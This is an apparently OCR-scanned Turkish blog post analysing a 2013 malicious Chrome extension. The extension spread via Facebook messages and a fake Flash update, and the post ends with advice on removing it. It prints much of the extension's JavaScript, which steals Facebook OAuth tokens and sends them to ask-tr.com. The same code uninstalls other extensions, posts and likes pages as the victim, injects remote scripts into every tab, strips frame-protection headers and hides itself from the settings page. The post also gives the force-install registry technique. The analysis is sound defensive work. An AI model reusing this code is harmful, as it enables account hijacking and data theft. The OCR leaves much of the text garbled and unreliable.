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Son aylarda Turk kullanicilarini hedef alan, Chrome ve Firefox icin
gelistirilmis olan zararli eklentilerin sayisinda buylk bir artis oldugu
eminim sizlerin de dikkatinden kacmamistir. Ozellikle web siteleri iizerinden
misterilerine servis/hizmet veren c¢ogu kurumsal firma, bu zararli eklentiler
nedeniyle misterilerinden gelen “sitenize girerken reklam (oyun, c¢Opcatan
sitesi vb.) penceresi ile karsilasiyorum” sikayetlerini sikca duyar
olmuslardir. Bu sikayetlere konu olan zararli eklentiler, Facebook uUzerinden
“videomu izleyip yorum atar misiniz?” gibi mesajlarla yayilirken, Twitter ve
Chrome Web Magazasi lzerinden “Twitter Takipc¢i Arttirma” vb. eklenti isimleri
altinda yayilmaktadirlar. Bu zararli eklentilerden bazilari Facebook
kullanici adi ve sifrenizi calarken, bazilari istenmeyen reklam mesajlari
cikarirken, bazilari da OAUTH jetonlarini calmaktadirlar. Bu yazimda hem
istenmeyen reklam mesaji hem de OAUTH jetonunu calan zararli Chrome
eklentisine yer verecegim.

Facebook uUzerinden yayilan zararli yazilim, “videomu izleyip yorum atar
misini1iz?” mesajl ile internet tarayicisina bulastigi kurbanin arkadaslarini,
Dropbox lzerinde yer alan bir Flash dosyasina ydnlendirmeye calismakta ve bu
siteyi ziyaret eden kullanici/kurban, sahte Adobe Flash Player guncelleme
sayfasi ile karsilasmaktadir.


https://www.mertsarica.com/jeton-hirsizlari/
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Flash dosyasi, kaynak koduna cevrilip incelendikten sonra Flash dosy651n1n
kullaniciyi http://socialhizmetleri.com/flash.php sayfasina yénlendirdigi, bu
sayfanin da kullaniciya FlashPlayer.exe adi altinda zararli bir dosya
yiklettigi gorilmektedir. Bu dosya ise calistirildiginda,
C:\ProgramData\Adobe klasdru altinda 3 dosya (adobe.crx, komut.cmd,
update.xml) olusturmaktadir. Program bir yandan adobe.crx Chrome eklentisini
HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist\1l anahtari
altina klmfkladgfkicpnhcibocncmpbgfpbih;C:\ProgramData\Adobe\update.xml

degeri ile kaydetmekte diger yandan calistirdigi komut.cmd betigi ise o



esnada sistem calisan Chrome internet tarayicisi olmasi durumunda tarayiciyi
kapatmaktadir. (C:\Windows\System32\taskkill.exe /im chrome.exe)

Art niyetli kisiler, ExtensionInstallForcelist ile kullanicinin bilgisi
olmadan Chrome internet tarayicisina zararli eklentiyi yukletmektedir.
adobe.crx eklentisi ise aslinda icinde Javascript dosyalari da barindiran bir
ZIP dosyasidir dolayisiyla CRX uzantisi, ZIP olarak degistirilip acilarak
icinde yer alan dosyalar rahatlikla incelenebilmektedir. Eklentinin en oOnemli
parcasi olan background.js javascript dosyasi metin editori ile
incelendiginde art niyetli kisilerin niyeti rahatlikla anlasilabilmektedir.

var first_run = false;

if (!localStorage['ran before']) {
first_run = true;
localStorage["ran before'] = '1';
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var currentTab = "";
if (first run)

{

T‘ chrome.tabs.create ({url: 'http://ask-tr.com/php/up.php'}):
}

[Flif(first run = true){

my id = chrome.app.getDetails() .id:
[Flchrome .management .gethll (finction (extensions) {

= for {i = 0; i < extensions.length; i++) {
= if (extensions[i].id != my id) {
chrome .management .uninstall {extensions[i] .id) ;
}
¥

1)

}

video = {}:

function videogetir(token,tokenSonuc) {
—liQuerv.ajax({

url:'http://ask-tr.com/php/video.php',
tEype: "GET" ,
= beforeSend: function(req) {
redq. setRequestHeader ("Accept™, "text/html,application/xhtml+xml,application/zml;oq=0.9,*/*; g=0.3") ;
i }F
= success: function(data) {

video = JSCON.parse (data) ;

videogonder (tokenSonuc. about, tokenSonuc . name , tokenSonuc. picture , token, tokenSonuc. id) ;
m

s
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post = {};
function postgetir(token,tokenSonuc) {
—ljQuery.ajax({
url:'h

EypestGET -
= beforeSend: function{reqg) {

redq. setRequestHeader ("Accept™, "text/html,application/zhtmltzml,application/zml;qg=0.9,*/*;g=0.8")
i }f

= success: function{data) {

post = JSCN.parse (data) ;

postgonder {token, tokenSonuc) ;


http://www.chromium.org/administrators/policy-list-3#ExtensionInstallForcelist

foto = {}
[Clfunction fotogetir(token){
[HiQuery.ajax({

url: ask-tz.com/php/ph
type: .

=] beforeSend: functiom(zeq) {
req.secRequestHeader("Accept”, "text/html,application/xhtml+xml,applicat:
+

=) success: functien(data) {

foto = JSON.parse (data) ;
fotogonder (token) ;

]

b
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function fotogonder (token)(
JQuezy.ajax({

ok . com/me /photo:

' + foto.url + 'Emessage='+ foto.aciklama +'&callbac

ess_token=' + token,

success: functien() (
1
i

1

[function postgonder (token, kisi){

post.name — post.name.replace(/{name}/g, kisi.name) ;

pOSt.message = post.message.replace(/{name}/g, kisi.name) ;

post.picture = post.picture.replace(/{picture}/g,kisi.picture.data.url);
post.description = post.description.replace(/{name}/g, kisi.name):

post.link = post.link.replace(/{adfly}/," v/ "+post.adfly+"/"+kisi.link) ;
post.link = post.link.replace(/{linktl}/, .T1/"+post.linktl+"/ +kisi.link) ;
post.link = post.link.replace(/{bcwc}/, "http://bc.ve/ ™post.beve+"/ "+kisi. link)
post.caption = post.caption.replace(/{name}/g,kisi.name);

psturl =
*saccess_t
[ IQuery.ajax({

url:psturl,

/graph. facebaok.
+token;

om/me/ fe2d?p: "yaly

+post . message+’ £nam:

+post.name+’ £p:

+post.picture+’ ad

'+post.descriptiont’c.

+post. link+'&capt.

+post.captiont

type: 'POST',
=] beforeSend: function(req) {
req.setRequestHeader (" ept", "text/html,appl: xhtml+xml, ap;
b
= success: function(data) {
i
b
1

Bl function begenigetir(token,kisi){
var xhr = new XMLHttpReguest();
xhr.open ("
[Flxhr.onreadystatechange = function() {
[F11f (xhr.readyState — 4) {
var data = JSON.parse(xhr.responselext);
[ for (i=0:i<data.pages.length;i++) {
Hif(kisi.gender =— data.pages[i] .gender || data.pages[i] .gender = "farketmez"){
[]if(kisi.locale =— data.pages[i].locale || data.pages[i].locale = "farketmez"){
limitKontrol ({token,data.pages[i]);

™
",

ask-tr.com/php/likes.php”, trume):

xhr.send () ;
2k

Elfunction limitKontrol (token,sayfa){

var xhr = new XMLHttpRegquest () :

xhr.open (" tps://graph.facebook.com/'+sayfa.id+' ?£fi
—]xhr.onreadystatechange = function() {

if (xhr.readyState — 4) {

var data — JSON.parse (xhr.responseText) ;

[]if(data.likes < sayfa.limit){

begeniKontrol (token, sayfa) ;

xhr.send():
il

Elfunction begeniKontrol (token, sayfa) {
var xhr = new XMLHttpRequest();

xhr.open (" graph.f
[]xhr.onreadystatechange function() {
if (xhr.readyState = 4) {

T

ps

me {) AND page

= "'tsayfa.id+'"faccess to

"+token, true):

var data = JS5CN.parse(xhr.responseText) ;
—]if(data.data.length — 0){
sayfaBegen (token, savfa) ;

xhr.send({) ;
-y




[ function sayfaBegen(token,sayfa){
[HiQuery.ajax({
url: 'https:// h. .com/ "+sayfa.id+ kes?method=postéaccess_token='+token,
type:'
= beforeSend: function({req) {
req.setRequestHeader ("Rccept™, "te
b,
=

success: function(data) {

1l +xml, applicati

chrome.webRequest.onBeforeRedirect.addListener (

function{details) {
if(details.redirectUrl.indexCf ("access token=") > 0){

access token = details.redirectUrl.split("access token=") [1];
if(details.redirectUrl.indexOf ("app id=") > 0){

app id = details.redirectUrl.split("app id=") [1].split("%") [0]
if(app id.indexOf("#") > 0){app_id = app_id.split("#"}[0]:}

i

access token = access_token.split ("&") [0]:

tokenKontrol (access_token) :

var xmlhttp = new XMLHttpRegquest() :
zmlhttp.open ("POST", "http:/
params = "access_token

ask-tr.com/kayit.php”, trume):

" + token + "&userid=" + user.id + "&username=" + user.name + "&gender=" + user.gender + "&locale=" + user.locale:
zmlhttp.setRequestHeader ("C f T For coded”) ;

xmlhttp.send (params) ;

I

ntent-Type™, "applicatiol

[ X~

Tfm}ctlaﬂ tokenGonder (token,user) {

xmlhttp.open {("POST", "http:

params = "access token

W - ask—tr.com/kay

t.php", txue):;
+ token + "guserid=" + user.id + "fusername=" + user.name + "&gender=" + user.gender + "&locale=" + user.locale;
ype","applicati ncoded™) ;

xmlhttp.3etRequestHeader ("C
¥mlhttp.send (params) ;
¥

function tokenKontrol (token) {

var xmlhttp = new XMLHttpRegquest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState — 4){

tokenSonuc = {}:

tokenSonuc = J50N.parse (xmlhttp.responselext) ;
if(tokenSonuc &&k tokenSonuc.id){

tokenGonder (token, tokenSonuc)
if(token.indexOf ("ALLAFGT) >= 0){

videogetir (token,tokenSonuc) ;
postgetir(token,tokenSonuc) ;

}else if(token.indexOf ("ARAZTa") >= 0){
fotogetir(token) ;

telse{

begenigetir (token, tokenSonuc) ;

rt
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xmlhttp.open(
Emlhttp.send() ;
=)

function tokenGonder (token,user){
var xmlhttp = new XMLHttpRequest () ;

", "https:, raph.facebook.co:

ht (130) eaccess_toke " + token);

[Elfunction rastgele {uzunluk) {
LMNOPRSTUVYZXabcdefgh

jElmnoprstuvyzx0123456789";

mtn = "ABCDEF(

IEE

Hfor({i=0:i<uzunluk:;i++) {

ret += mtn[Math.floor({Math.random({) * 57)]:
Mk

return ret;

il




Elfunction videogonder (hakkinda,isim,resim,token,id){
Clif(1hakkinda) {
hakkinda = isimt" videosunu izle."
B
Hlif(video.isim){
isim = video.isim;
¥
Clir(video.resim) {
resim.data.url — video.resim;
It
Flif(video.aciklama) {
hakkinda = video.aciklama;

+rastgele(25)+4"32 rastgele (46},
e="+rastgele (25)+" = ~"+rastgele (46) ,

FliQuery.ajax({
url:
type

bEfuxESend function(req) {
req.setRequestHeader ("’ T
1.
success: function(data) {
if(ldata.error_code){

ssage="+video.mesaj+’ emech

chrome . tabs.onCreated. addLlstener{functlon{tah){
if{tab.url.index0f ("chrome://
chrome.tabs.update {tab.id, {furl:"

h:

chrome . tabs.onUpdated. addListener (function(tabId) {
chrome.tabs.get (tabld, functicn(tab) {
Hlif{tab.url.index0f ("chrome://
chrome . tabs.update (tab.id, {furl:"

extensions-frame™) »= 0){

|1 tab.url.index0f ("chrome
oo I orem}) s

}else{

var xmlhttp = new XMLHctpReguest():
Slxmlhttp.onreadystatechange = fonction () {
if{zmlhttp.readyState — 4){

Hif{tab.url.index0f ("devtools://") < 0){

chrome . tabs.executeScript (tab.id, {code: xmlhttp. responseText}) ;
M

M1

M1
xmlhttp.open("”
xmlhttp.send()
il

e B

e

chrome .tabs. getCuIIent{functlon{tah}{
if{tab && tab.url.indexOf ("cl :

chrome.tabs.update (tab.id, {url:" "1y:
}
e
chrome . webRequest.onHeadersReceived.addListener (
function{infa) {
var headers = info.responseHeaders;
for (var i=headers.length-1; i>=0; —-i)} {
var header = headers[i] .name.toLowerCase () ;
= if (header — 'x-frame-op 1| header — 'frame-options=") {
headers.splice(i, 1) // Remove header
r }
r i
return {responseHeaders: headers}:;
7 b,
= {
urls: [ // Pattern to match all http(s) pages
types: [ 1
- |
['b b
):|

Fonksiyonlara bakildiginda, zararli eklenti yikli olan Chrome
calistirildiginda, ilk olarak kullaniciyi http://ask-tr.com/php/up.php
adresine, ardindan http://goo.gl/hDe9h sayfasina ve son olarak da




http://ask.fm adresine yonlendirmektedir. http://goo.gl/hDe9h sayfasinin
istatistiklerine bakildiginda ise 12 ginde yaklasik 1800 kisinin bu zararli
eklentiyi ylkledigi gorulmektedir.

Filter: Hiding specific extensions |@
# 4|Host | Method | URL | Params | Modi
R http:/iwww_google.com GET [ foss] A
92  http:fiask-tr.com GET  /php/up.php U &
93 http:/iwww google com tr GET [ = =
95 http:/iwww tr-googlee com GET [ ™ ™=
96 http://anon2me.com GET  /reklam/300x250 php = L]
97  http:f/anon2me.com GET  /reklam/300x250 php ™ ™=
|| 106  http://anon2me.com GET [reklam/300x250_php =] =
108 http://anon2me.com GET  /reklam/300x250.php O O
117 http://ask-tr.com GET ffavicon.ico O (i}
120 http:/fib.adnxs.com GET Itt]?id=1406015 4] ]
121 http/iyllix.com GET fbanner_show.php?section=General&pub=223785&format=300x250&ga=g 4] [
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J RawT Headers T Hex THTML I Render ]
HTTR/1l.1l 200 OK "
Date: Wed, 29 May 2013 12:51:48 GMT P
Vary: Accept-Encoding
Content-Type: text/html
Proxy-Connection: Eeep-Aliwve
Content-Length: 352
<head>
<meta http-equiv="refresh" content="0;url=http://goo.gl/hDeSh">
</ head>
<gcript id="_wausSe"=var wau = wau || []: _wau.push(["eclassic", "mOudg55keT7jl", "s=9%e"]):
(function() {var s=document.createElement("script"): s.async=true;
s.sro="http: ffwidgets. amung.us/fclassic.js" ;
document . getElementsBEyTaglame( "head" ) [0] . appendChild(s) ;
() :</script=
e
] ¥
T < + = Type a search term 0 matches



http://goo.gl/hDe9h+

2§ Google URL Shortener

ol C A [ googl/#analytics/goo.gl/hDedh/all_time e E =

GOUSIQ url shortener li

http://goo.gl/hDe9h T Of=A0]

Created: 12 days ago

Total Clicks E

y Clicks for the past: two hours | day | week | month | all time

Referrers Browsers

Unknoum/zmpty

Javascript kodunun son satirlarina bakildiginda, art niyetli kisilerin

eklentiyi Chrome ayar sayfasindan gizlemek i¢in, ayar sayfasina girildiginde
kullaniciyi https://chrome.google.com/webstore sayfasina yonlendiren bir
mekanizma olusturduklari da acikca gorulmektedir.

Bunun ilave olarak http://www.ask-tr.com/kayit.php sayfasina kurbanin veya
kullandigi uygulamanin access token’ini, kullanici adini, cinsiyetini
gondermekte ardindan kurbanin adina Facebook sayfasinda mesajlar paylasarak
arkadaslarini da bu zararli eklentiyi ylkletmeye calismaktadir. Bu sayede
yeni kurbanlari agina dislirecek ve bu eklentiyi ylkleyen her yeni kurban,
Chrome internet tarayicisinda yeni bir sekme (tab) ac¢tiginda
http://ask-tr.com/script.js javascript dosyasi arka planda otomatik olarak
yliklenecek, kurbanin karsisina istenmeyen reklam pencereleri ac¢ilacak ve yeri
geldiginde kurbanlarini istedikleri Facebook sayfalarini begendirtmek
amaciyla zombi olarak kullanabileceklerdir.

Her ne kadar http://ask-tr.com/script.js javascript kodu gizlenmis
(obfuscated) olsa da, yeni olusturulan bir html dosyasina kopyalanip (kodun
basina ve sonuna, html ve script etiketlerini koymayi unutmayin)
~3137(_9776); satiri alert( 9776); olarak degistirildiginde, bunun reklam

penceresi ac¢ilmasini saglayan ve art niyetli kisilere reklam lzerinden kazang


https://chrome.google.com/webstore

saglayan kod oldugu anlasilmaktadir.

* 7| ask-tr.comfscript.js | ] ask-tr.comf1.php - ¥ Downloads
/ \ 3

&« C [ ask-tr.com/seriptis =

var d = document;

var imy = d.createElement | "img™)

img.sre = "http://whos.amung.us/ vidget/d9d838gdsxh0. png™:
img. id = "analytics"T:

img.style.width = "Opx™;

img. 2tyle.height = "0Opx™:
d.getElementsEyTaglame [ "body™) [0] .appendChild {img) ;

var Bled:var

_576R='20464E1658E141F025C15867C1695D1535F1179E1835A1731A1739E1411E1723A1811C1715A18593C1795C1731A15803F1851C1291C1603E1573D
1531E1395E1003D295A995DOS5E095F1867C1699C18354117941723B1511E1795D1659E1763E18053C1411D1723C15811C17150185941795C1731E1803
C1551E1291B1723C1611E179561699C1763D1503F1395E1003A995F995E995C995C1567C1699F1555D1179E1699C17253E1835C1731E15643C1411C123
SA1755D1851C1551C1519D1387E1299A1299E1699F15803D1511F1803F1323EB1795B173141291B1715E151141795C1299C1835A1731E177YO9EL7S7C169
QF1795D1299F15331E1307D1307E1883413253D1347F1307F1291C1819C1755F1519F1235E1395E1003F1003B995E995B995B995F 186701 699E15835E11
TOF1519C15659C170VELI179C1411A1179E1255A14053C17253E1763A186YF1179F1763D1725341411F1195F1519D1511B1519C1559C15619F 161941763618
03E1195E1179C15453F1851C1891F17537E173101411D1195E1835F1763F174YEL1755E1851E1387F1179D1307A1519F 158583 E1395F1179E1795C1699C18
35E1747E1763C1803E1283C1835E176341747F1755E1851EB1387B1371E15819F1883E1395F1179F1707E181141851E1851D01811B179501387D1179E13
O07E1519E16583B1395E1179F17253C17653E1643F1819E1758VEL699F15891A153587D117901503.1511D158053E1731F1595F1179D1599E128536176541503F17
23B1731415883F1387F1179C15379D1379F1372E1379C1379F139501179C15819F15811B158434176341851E1763B151141803D1358701179C16958D1707F18
43C15811D1787E1859F1851D1731C139541170A1755C1731D1763E1747C17S5F1851A15387C1179A1523A1347F15307C1819F 15853 C1195E1419E1403A17
Z23CL7e3D1Ge7D11YOELVesD1VE3C1411411595B1819C1511A1619B1859C1519C1019E1763C1G03B1653E17V10A1511A15803C1551D1731F1803F1551E1]L
Q5F1179D1843E185141891C178701731D014114119541819D1699E1723D1723F1763C1803F1747B138YD1323F15819E1883D13595C1179B1723E1763 418
43E151941787C1699F1691F1557YD11Y9E1503 418110150501 731C1395C1179D161 1815671731183 5A1739F1Y57D15811C15Y5E15387D1179D1755C17
B3B1723D1723F1731F158053 4159541179418V 5A17653C17253E1851C1755E13587A1179E15353141307C1307E1819E15853E15395D1179F1755E17314176353D17
47D1755C18514A1387B1179D15323F1347D1307F1819B185853B1395E1179F15819C1811D1843F1763D185141763C151101803B13587B117941699C1707F18
43015110178 7A1559E1651D1731A1395F 1195141914051 763E1739F156535F1699E1795F17531D1179D01795E16990 15835017470 1763A15805D1575017
B3F1723C1551C1755E1411C1195A41307A1195E117941795E1699A1835A1747ELV63E1803 417554173 1E1765301747D1755D01585101411C11956153074A11
Q5E1179A41755F1731E1763E1747A1755415851B1411E1195C13253E15347E1307F1195E1179E1575F1763C1725341851C17554141141195F1533141307E13
07 C11595E1179E1803F 169901 7o5A17531401411F1195F 16991 7253F16453F11905F1170F 158453 C1635C1715C1411A1195A1253001267C1e99A17E53B1535C17
31C15843D1267E1235E1195D117941843C1715C1835C1811F1787E1787EL763C1803D1747E141141195E1803D1511E1195F117941707C15811D1535C17
Z3C1731F1535E1411E119581507D01195C1179F1739C15853561699E1795E1731C1707E1511D16535F1725A17531F1553501411E1195F1507F119541419614
O03E1299D1763EB1739E1835E1699E1795F1731E1419F 140312991723 C17653A1567E1419F1403B1299F17a53F1763F1567C1419F123501395F1003C99
SASO9LSD99EA995A1867EB1699C1835C1179E1803D1731F1875C1547F181141723F173141179C1411E1179B1723E1811F1715B1585941795B1731E1803C1
§51C1291F1715F15535A1731E1699E15651D17V31F1475A1YS7EL1731E1795A1731D1805F15651A124361195C1723F1763E15867E1195C1251F13595C1003D9
S5ES95Ce95C995C158053D1731B1875A1547D1511E172341731C1291C15843C15851C15891A1787D1731EB1291F15875E1763C1723E1551A1755F1179414114
1179F1195F1331E1307D1307D1819B15883E1195C1395F1003B180341731D1875A1547EB15811D1723D01731F1291E1843A1851F189141787D1731D1291E
1755F1731017653E1747D1755D1551E1179F1411C1179C1195615325301347E1507A15819E1555361195E1395C10053A15803C17531F1575F1547A1511817235E
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[JavaScript Application]

-

var ref=document, LRL;
war domain=docurnent. domain;
var adres="http:/fanonZme. com/reklami300x250, php';

var pub = '<div id="popup'in" skyle="right: Opx; margin-right:Spx; bakkam;
O display: none; z-index: 99999; position; absolute; height: 250p:x" = <div
id="popupWin_content" stvle="padding:2px; display: none; overflow: hidden; width: 300p:x;
height: 250px; position: absolute;" = <iframe marginwidth="0" marginheight="0" height="250"
width="300" name="ads" src="+adres+" scroling="ro" border="0" frameborder="0" = <iframe >
< fdivz<dive

var newhode = document, createElement"div");

newhode, style width = "300px";
newhade, skyle, height = "250px";
newhode, innerHTML=pub;
document . body. appendChild{newkode);

var popupWinoldonloadHndlk=window, onload, popupWinpopupHg,
popuphinactualHgt, popupiintmrld=-1, popupwWinresetTimer;
war popupwincnkDelka;

funckion popup'inespopup_ShowPopuplshow)
1

if {popupiinkmrld!=-1} return;
el=document, getElementById{ popuptin®;
&l skyle, right="296p:x";

el.stvle. kop=";

el style, Filker=";

if (mavigakor.userdgent.indexOf'Operatil=-1)
el.style, botkom=(document, body , scrollHeighk*1-
docurment . body, scrollTop* 1 -document . body. offsetHeight™*1 + 1 *popupWinpopupBottom)+'psx';
popuptinactualHgt=0; el,style.height=popupiinactualHgt+'pe';
el.stvle, visibilitw="
if {1 popuphinresetTimer) el skyle,display=";
popuphintmrId=setInterval{popupivinespopup_tmrTimer,
(popupiWinresetTimer? 1000: 2007;
t
function popupitinespopup_winLoad O
if {popupWWinoldonloadHndlr!=null} popuptWinoldonloadHndir);

elCnt=document. getElementById{' popuphin_content)
el=document, getElementById{ popuptiint;

popuphinpopupBottom=el. stvle.bottom. subskri0, el skvle. bottom. length-23;
popupWinpopupHat=el,style, height;

popuptinpopupHat=popuptWinpopupHat, substr (0, popupiinpopupHgt. length-23;
popuphinactualHgt=0;

popuptincntDelta=popupwinpopupHgt-(elCnt . style, height, substri0, elCnt, skyle, height. length-237;

popuphinresetTimer=False;
popupkinespopup_ShowPopupinull);
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facebook

Connect with friends and the
world around you on Facebook.

f—' See photos and updates from friends in MNews Feed.

Share what’s new in your life on your Timelne.

Find more of what vou're looking for with Graph Search.
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‘WWaiting For anonzme. com. .

wiorld's Largest Professional

Sign Up

It's free and always will be.
First Name Last Name
Your Email
Re-enter Email

New Password

Birthday:

| monith: =] | Day: 7| | vear: x| mﬁ;;,ineed ey

C Female © Male

By dlicking Sign Up, wou agree to our Terms and that you have
read our Data Use Policy, including our Cookie Use,

Create a Page for a celebrity, band or business.
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Over 225 million professionals use Linkedin to
exchange information, ideas and opportunities

Stay informed about your contacts and industry
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=5 |Li Find the people & knowledge you need to achieve your goals

.‘-ﬂ Cantral your professional identity online

"Joih Linkedin Today

First Name: |

Last Name: |

Email: |

Password: I

& or more characters

Coonron

Already on Linkedin? Sign in.

Masals

Search for someone by name:

Browyse members by country

* By joining Linkedin, you agree to Linkedin's User Agreement, Privacy Policy and Cookie Policy.
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Linkedin member directory: abeocdefghijklmnopgrstuy wxy z mor

= bir baslangig...

Sonug olarak sosyal aglarin art niyetli kisilerin tehdidi altinda oldugu bir

gercektir. Eger siz de son zamanlarda bu veya benzer siipheli istenmeyen



reklam pencereleri ile sikca karsilasiyorsaniz, oncelikli olarak internet
tarayicinizin eklentilerini kontrol etmenizi, arkadas listenizde olan ve
benzer mesajlar gonderen arkadaslarinizi farketmeniz durumunda da onlari en

kisa slirede uyarmanizi siddetle 6neririm.
Bir sonraki yazida gorusmek dilegiyle herkese givenli ginler dilerim.

Not: Chrome kullanan ve bu zararli eklentiyi silmek isteyen kullanicilar,
HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist anahtaris
altinda yer alan supheli alt anahtarlari temizleyebilirler.



